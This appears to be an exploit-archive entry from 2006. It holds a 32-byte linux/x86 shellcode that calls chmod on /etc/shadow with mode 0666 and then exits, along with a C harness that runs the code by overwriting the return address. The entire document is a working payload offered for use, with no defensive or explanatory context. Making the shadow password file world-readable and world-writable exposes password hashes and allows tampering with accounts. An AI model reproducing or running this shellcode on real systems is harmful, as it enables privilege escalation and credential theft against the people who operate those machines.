linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes

/* * (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes * - izik <izik@tty64.org> */ char shellcode[] = "\x6a\x0f" // push $0xf "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\x66\xb9\xb6\x01" // mov $0x1b6,%cx "\x68\x61\x64\x6f\x77" // push $0x776f6461 "\x68\x63\x2f\x73\x68" // push $0x68732f63 "\x68\x2f\x2f\x65\x74" // push $0x74652f2f "\x89\xe3" // mov %esp,%ebx "\xcd\x80" // int $0x80 "\x40" // inc %eax "\xcd\x80"; // int $0x80 int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; } // milw0rm.com [2006-01-21]